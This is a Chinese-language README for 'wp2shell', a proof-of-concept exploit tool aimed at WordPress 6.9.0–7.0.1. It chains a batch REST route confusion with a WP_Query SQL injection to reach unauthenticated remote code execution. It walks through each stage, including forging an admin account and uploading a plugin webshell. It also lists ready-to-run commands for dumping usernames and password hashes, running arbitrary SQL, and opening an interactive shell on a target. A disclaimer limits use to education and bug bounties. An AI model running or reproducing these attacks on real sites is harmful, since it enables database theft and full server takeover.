⚠ 本工具仅用于教育或漏洞赏金目的。严禁在受控环境之外未经授权使用。
针对影响 WordPress Core 的 wp2shell 漏洞链的概念验证,结合了 CVE-2026-63030 和 CVE-2026-60137。该项目演示了 REST API Batch 路由混淆漏洞与 WP_Query SQL 注入之间的交互,最终形成一条未经身份验证即可完全攻陷 WordPress 并实现远程代码执行(RCE)的路径。
阅读完整公告 此处
wp2shell 是 WordPress 核心中的一个预认证 RCE 漏洞链,结合了 CVE-2026-63030(batch REST 端点中的路由混淆)和 CVE-2026-60137(WP_Query 中的 SQL 注入)。
路由混淆: /wp-json/batch/v1 通过按位置索引的并行 $matches 和 $validation 数组处理多个子请求。一个路径格式错误的子请求(例如 http://:)由于 continue 语句被追加到 $validation 但未追加到 $matches,导致数组失步。后续请求会在本应处理请求的处理器下被分发,从而绕过模式验证和权限检查。
SQL 注入: 两个嵌套的 batch 调用利用了这一点。外层 batch 绕过了方法允许列表(通常阻止 GET)。内层 batch 向 GET /wp/v2/posts 传递一个标量 author_exclude 字符串——失步使其绕过验证,而 WP_Query 将该未净化的字符串直接插入 SQL,从而产生基于 UNION 的盲注。
缓存投毒: SQLi 返回伪造的 WP_Post 对象,WordPress 将其缓存在内存中。这些伪造的文章包含 [embed] 短代码,导致 WordPress 根据这些伪造引用创建真实的 oembed_cache 数据库行。
变更集提权: 利用 SQLi,攻击者在内存中伪造一个 customize_changeset 文章,其 JSON 中包含 "user_id": 1。一个循环检测 gadget 触发 wp_update_post() 而不覆盖 post_content,从而保留攻击者的载荷。应用该变更集会临时假定管理员的身份。
钩子重入: 一个状态为 parse、类型为 request 的伪造文章触发 parse_request 钩子,以假定的管理员角色重放整个 batch 请求。这一次,一个 POST /wp/v2/users 子请求成功,创建了一个新的管理员账户。
代码执行: 攻击者以创建的管理员身份登录,并上传一个恶意插件以运行任意命令。
| 版本 | 状态 |
|---|---|
| WordPress 6.9.0 – 6.9.4 | 存在漏洞 |
| WordPress 7.0.0 – 7.0.1 | 存在漏洞 |
| WordPress 6.9.5 | 已修复 |
| WordPress 7.0.2+ | 已修复 |
使用此 PoC 的唯一要求是 Python 3.8+。
从仓库目录运行它以执行漏洞检查:
wp2shell.py http://victim.com
执行单次漏洞检查。发送一个良性的 batch 标记探测,在不执行 SQLi 载荷的情况下检测路由混淆漏洞。存在漏洞的目标会返回 HTTP 207,并带有错误模式 parse_path_failed、block_cannot_read 和 rest_batch_not_allowed。
使用 --confirm-sqli 还会发送一个主动的 SQLi 确认载荷。确认过程首先尝试 UNION 反射,然后回退到基于时间的探测。
检查单个目标(默认模式)
wp2shell.py http://target.com
使用显式模式检查
Check with explicit mode
wp2shell.py http://target.com --check
使用 SQLi 确认进行检查
wp2shell.py http://target.com --check --confirm-sqli
使用预认证 SQL 注入从数据库中提取数据。默认使用 --technique auto,它会按以下顺序尝试可用方法:
WP_Post 行,并从 REST 响应中以 ||HEX(value)|| 形式读回其标题。每个值一个请求。最快。EXTRACTVALUE/UPDATEXML 每个请求泄露约 15 字节。当目标反射 MySQL 错误时有效(例如开启 WP_DEBUG_DISPLAY)。X-WP-Total 头作为真/假信号。即使没有数据被反射也有效。使用 --technique union|error|blind 强制指定特定技术。这些读取路径是只读的,不会写入数据库。
服务器指纹(默认查询)
wp2shell.py http://target.com --read
导出登录名和密码哈希
wp2shell.py http://target.com --read --preset users
自定义 SQL 查询
wp2shell.py http://target.com --read --query "SELECT @@version"
强制使用盲注技术
wp2shell.py http://target.com --read --technique blind --query "SELECT user_login FROM wp_users LIMIT 1"
使用基于错误的技术提取
wp2shell.py http://target.com --read --technique error --query "SELECT user_pass FROM wp_users LIMIT 1"
在目标服务器上执行命令。有两种工作模式:
使用凭据(以现有管理员身份登录并上传插件 shell):
执行特定命令
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --cmd id
交互式 shell
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --interactive
Without credentials (pre-auth RCE - runs the full SQLi→admin bridge, logs in as generated admin, then uploads plugin shell):
执行单条命令
wp2shell.py http://target.com --shell --cmd id
交互式 shell
wp2shell.py http://target.com --shell --interactive
插件 webshell 以随机路径和每次运行的令牌上传。上传的 webshell 会被自动移除。当预认证桥接创建管理员时,该生成的账户会在 shell 会话结束后自动移除。
所有标志列表:
| 标志 | 描述 |
|---|---|
--check | 运行漏洞检查(如果未指定其他模式,则为默认模式) |
--read | 通过 SQL 注入提取数据 |
--shell | 在服务器上执行命令 |
--query | 读取模式的自定义 SQL 查询 |
--preset | 预定义查询预设(users、config、versions) |
--technique | SQLi 提取技术:union、error、blind 或 auto(默认) |
--confirm-sqli | 检查后发送 SQLi 确认载荷 |
--cmd | shell 模式下要执行的命令(默认:id) |
--interactive, -i | 交互式 shell 模式 |
--user | 用于认证 shell 的管理员用户名 |
--password | 用于认证 shell 的管理员密码 |
--proxy | HTTP/HTTPS 代理(例如 http://127.0.0.1:8080) |
--timeout | 请求超时时间(秒)(默认:30) |
--verbose, -v | 详细输出 |
本工具仅用于教育或漏洞赏金目的。严禁在受控环境之外未经授权使用。